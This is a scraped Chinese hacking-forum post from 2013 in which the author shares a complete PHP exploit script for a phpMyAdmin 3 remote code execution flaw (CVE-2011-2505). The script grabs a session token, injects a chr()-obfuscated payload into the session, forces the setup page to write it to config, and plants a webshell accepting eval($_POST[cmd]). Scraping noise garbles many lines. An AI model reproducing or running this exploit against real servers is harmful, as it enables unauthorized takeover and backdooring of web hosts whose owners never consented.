找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2437|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
& ]8 A; h7 C* a2 K# Z
( F( a1 N3 K$ Y6 \昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。3 S0 f' J# d' h5 J( M6 `, Y/ g
4 G( A4 y# p4 \7 P* ], J' a2 T
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
4 k0 J$ h/ Z* Y* s  e0 ?6 t8 Y一是session.auto_start = 1;  D9 U: Q) a# p' O, x" e
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
7 v9 S" h: j4 x$ g+ J) S当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
: o" h; U; D; w. s' ?  f3 V7 u  Y) I) U8 g3 F
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
2 D6 e; j% j) L7 p8 l+ y! Y6 _6 k6 o2 W6 B: \4 X  r9 v& @
于是写了这个php版本的exp,代码如下:
& x+ h2 v' V4 E: |
/ }' }" n4 {3 z#!/usr/bin/php, p2 h4 G  q. I! k1 t
<?php& _- u9 Y  L1 s2 L* ], n
print_r('8 V3 N% i4 K  S1 a, a4 l9 j: B# q
+---------------------------------------------------------------------------+
& j/ G- ~$ |5 kpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
8 K& ~& |' E( p( @0 eby oldjun(www.oldjun.com)
' d" y  R/ E' a( p2 Dwelcome to www.t00ls.net: f# c5 h7 \8 b$ m* b+ W6 p
mail: oldjun@gmail.com+ I+ Q. k6 ^$ l* L
Assigned CVE id: CVE-2011-2505
& C/ d' n- W' Y* U+---------------------------------------------------------------------------+
8 W7 `% _. v) i) l1 e% q');* ^; u+ m9 Z  F' W+ T& u
+ z& d5 @* N4 d2 c" U5 e/ M
/**6 y5 Y' F' K3 [
* working when the directory:"config" exists and is writeable.
' S7 s9 R/ I5 M**/
2 z* Y$ ]) ]1 C' Y& K% \
7 |0 ]) Q! H. d6 U3 c/ I# |4 A- aif ($argc < 3) {
$ u* V7 o# k# F% m) V% [; ~    print_r('+ Q1 e7 V4 O! R) r# e0 t$ M
+---------------------------------------------------------------------------+
8 `9 ]! b# u6 V4 L& PUsage: php '.$argv[0].' host path, b9 N* R8 d) n* V0 H
host:      target server (ip/hostname)* a- v3 @" K+ y" [) G$ _, E
path:      path to pma3
/ T9 D# ?+ Y* {% Q" G4 q8 ^- GExample:
, y% H8 i3 [: ?/ a9 W1 r9 h- \php '.$argv[0].' localhost /pma/- G. i2 l' S2 J' f9 s& {2 ^. L
+---------------------------------------------------------------------------+/ J8 A9 ~; J; X7 j! o8 t
');
" Z; `9 U- y& }/ f6 ?& |    exit;/ h# J9 ~) D5 R$ b
}% w3 {; l9 o0 X1 C

% M( u; U) E( }- ?! `$host = $argv[1];
9 d/ [9 p5 p3 L% v. |$ m# C/ I$path = $argv[2];
! F# t" ]% p5 w- ?, y
1 |* w& F5 a' e2 ~( C. S2 B/**
0 k# @8 n' i/ d& ^: ^ * Try to determine if the directory:"config" exists
7 W, l5 `, v) U**// v. P1 X. l) Z3 {% z0 ~
echo "[+] Try to determine if the directory:config exists....\n";: r1 z0 T# i# p1 Z- @: j
$returnstr=php_request('config/');
6 @. K4 g) r9 o( w7 ]if(strpos($returnstr,'404')){
* d& c# x* g. e, ~    exit("[-] Exploit Failed! The directory:config do not exists!\n");
6 R8 t2 I7 w  `. s}( N6 J" z! M5 w# H
) P; c: H+ u6 ?& r* N
/**
5 [' X. ?3 [) _0 s. Y * Try to get token and sessionid$ Y6 A* A, U, v
**/% f2 e& n' D  m
echo "[+] Try to get token and sessionid....\n";
, n2 o* O, Q. f- M/ l$result=php_request('index.php');
$ L) V2 V3 P% k* n- G- Epreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);3 H4 U& D! T! S2 d
$token=$resp[3];& C$ P8 w5 H- M) a; Q' q: g) K4 V
$sessionid=$resp[1];: v2 x* E2 b$ C, P0 p
if($token && $sessionid){
9 |- Q  ?: z" H- B& j" \0 M    echo "[+] tokentoken\n";" c- E' [. u, |0 u- y: s  e
    echo "[+] Session IDsessionid\n";
# O4 p6 i1 {# D' G1 ?7 @4 V}else{
% I' o) l2 f" V" {: l    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
* z" V( ~5 f0 z}1 n, g1 b$ Y, ?& d9 d" M
; }% w- P2 o8 ]6 r- u, B
/**
/ N* J" }' X9 e* p* H0 P* e& w- c * Try to insert shell into session2 b6 w, C5 I0 Y( r
**/
5 M8 U: T: l" i/ L; i+ o+ {$ S. decho "[+] Try to insert shell into session....\n";& W% x, ~% A' Y( O2 R
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
; a6 w5 D: E; P/ ^1 `9 X; r/ S
, h( O; o4 h; f; C/ |! l/**2 N9 A* A8 E1 f9 C6 [* b3 F. i. L+ ~
* Try to create webshell
9 f9 W' ^* f. ?' g, b**/- y, n2 U; z: B3 P- E$ n
echo "[+] Try to create webshell....\n";
9 ?' E4 C/ w  D, w! m: ]7 L* D2 Hphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
; x" L: L: q- z* B! G$ T/**
* i( X. ]# \* x9 o * Try to check if the webshell was created successfully
: \; o, b% R- O- N  h**/
9 |; i! y9 f5 M' O8 oecho "[+] Try to check if the webshell was created successfully....\n";! C1 C; B3 V2 K7 d$ Q; M
$content=php_request('config/config.inc.php');
  Z: J! q) j. ~: r4 U- L( ]8 s! iif(strpos($content,'t00ls')){
5 Z+ \6 p! d* q9 v    echo "[+] Congratulations! Expoilt successfully....\n";
0 s3 d8 Z% A! {9 X0 V    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";5 n$ M, T& O6 D  f8 _& m! V
}else{
; @0 b  \2 H9 @    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
. X# e* y. g' {( b}
! K9 L5 Y, Q+ e  o  P- |
! A* N. S% L6 i- j* ]$ w( ^function php_request($url,$data='',$cookie=''){
, X4 O3 I1 C% a/ |0 j$ U    global  $host, $path;" i5 d+ u; ]5 x) T5 i- C
   
- P3 ?0 Q2 Y7 W4 ]1 n    $method=$data?'POST':'GET';2 R4 c0 f7 P& v: ?
   
# |4 u% N& [& e0 H    $packet = $method." ".$path.$url." HTTP/1.1\r\n";2 t7 B) p0 U7 O
    $packet .= "Accept: */*\r\n";1 }8 c/ \) E1 O$ M  v1 Q9 U: m" K) r
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";" f6 U; \$ u5 g: G
    $packet .= "Host: $host\r\n";
' z& m+ |/ A. t  N. v% V% e+ D    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";- ?6 H0 k2 r8 W" b7 q
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
$ K& m+ Q, g# C) H# ~    $packet .= $cookie?"Cookie: $cookie\r\n":"";7 v9 J0 _1 K% h/ Q2 b* k" b: \! t
    $packet .= "Connection: Close\r\n\r\n";
5 X+ H; f( q% w+ n9 C: w    $packet .= $data?$data:"";
7 Y6 h: y+ Q/ a' K! z! Q( h8 K4 q3 K; O5 ^
    $fp = fsockopen(gethostbyname($host), 80);5 R/ l( L( z2 b9 B. A; B, F7 v& i8 r
    if (!$fp) {
- g, I! ]& _6 }- n/ c( T    echo 'No response from '.$host; die;9 l2 V: _- K+ m: Q  I( M
    }. ?# t5 j- V& u/ J% M! r
    fputs($fp, $packet);' t9 A; c4 j" T. |  y

2 f; m% I8 L7 Y0 S8 {8 j; v: a    $resp = '';
8 i0 F! w6 ?: |9 {& r( S  q7 S9 j. A/ S3 D) f
    while ($fp && !feof($fp)), t  f, N9 R: |' a! m6 E
        $resp .= fread($fp, 1024);0 q. V0 E& }. ~+ u5 o

, @% Z" W; f$ L9 ~9 R" L    return $resp;
; Y- o5 ^0 P: @}
, V% M2 @  g% b2 N, b    , D3 ^/ U# n, a: P4 ~+ t* a
?>
9 u) F% N% \  I( v5 B1 u% y.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表